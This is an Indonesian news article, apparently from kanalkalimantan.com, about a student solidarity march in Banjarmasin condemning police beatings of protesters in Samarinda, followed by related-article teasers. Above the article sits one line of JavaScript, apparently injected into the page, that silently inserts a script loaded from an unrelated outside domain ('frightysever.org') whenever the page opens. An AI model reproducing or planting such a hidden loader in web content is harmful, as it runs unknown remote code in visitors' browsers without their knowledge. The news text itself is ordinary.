(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Aksi solidaritas mengecam pemukulan sejumlah mahasiswa Balikpapan juga digelar sejumlah mahasiswa di Banjarmasin. Meraka yang menamakan diri kelompok Cipayung Plus ini menggelar aksi long march dari Kantor KNPI Banjarmasin menuju perempatan traffic light Hotel Arum, Jumat (15/2).
Seperti yang diketahui unjuk rasa pada 11 Februari lalu, bertampat di simpang empat Lembuswana Kota Samarinda Provinsi, Kalimantan Timur, terjadi aksi ricuh dan membuat 11 aktivis mahasiswa dilarikan ke rumah sakit. Kericuhan terjadi setelah penyanderaan truk dan blokade jalan. Aksi yang dilakukan sehari setelah peringatan HUT Kota Balikpapan itu, menyoroti kasus korupsi Rumah Potong Unggas termasuk persoalan lain seperti banjir.
Muhammad Ridho AGD selaku Sekretaris GMNI Banjarmasin menyampaikan, aksi ini untuk memberi semangat kepada rekan mereka yang sudah melakukan aksi damai tapi malah mendapat aksi refresif.
“Aksi ini yang akhirnya mengakibatkan belasan massa aksi dilarikan ke rumah sakit. Berdasarkan dari beberapa berita berkembang dan video yang beredar, rekan-rekan kami ada yang diseret bahkan dipukul,” jelasnya.
Pihaknya juga meminta agar Kapolres Kota Balikpapan mengusut nama oknum-oknum aparat yang melakulan pemukulan tersebut. Karena berdarakan kajian yang telah mereka r.ampungkan, hal-hal yang dilakukan oleh oknum telah melanggar salah satunya Peraturan KAPOLRI Nomor 16 Tahun 2008 tentang Pedoman Pengendalian Massa dan Peraturan KAPOLRI Nomor 9 Tahun 2008 tentang Tata Cara Penyelenggaran Pengamanan, Pengamanan dan Penanganan Perkara Penyampaian Pendapat di Muka Umum.
Aliansi Kelompok Cipayung Plus Banjarmasin menyampaikan juga bahwa selain aksi yang mereka lakukan sekarang ini, pihaknya berharap agar rekan-rekan mereka di Balikpapan juga mengusut nama oknum yang melakukan pemukulan. “Kita harapkan kawan-kawan di sana, istilahnya bisa ‘menghakimi’ terhadap orang-orang yang main hakim sendiri,” jelas Ridho.
Ada pun Aliansi Kelompok Cipayung Plus Kota Banjarmasin mengambil sikap menuntut Kapolresta Balikpapan mengklarifikasi dan mengusut tuntas para oknum, Mereka juga menuntut aparat penegak hukum agar tidak rerjadi represifitas serupa di tingkat nasional, bahkan hingga Kalsel dan Banjarmasin, serta menegaskan aparat penegak hukum untuk memberikan rasa aman dan nyaman kepada oihak manapun dalam penyampaian pendapat di muka publik.
Permasalahan ini akan dibawa lebih lanjut ke ranah HAM. Selain mahasiswa, dikabarkan bahwa beberapa rekan jurnalis juga menjadi korban dalam aksi yang lalu. Sebanyak 63 polisi gabungan diturunkan untuk menjaga aksi tersebut. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
This website uses cookies.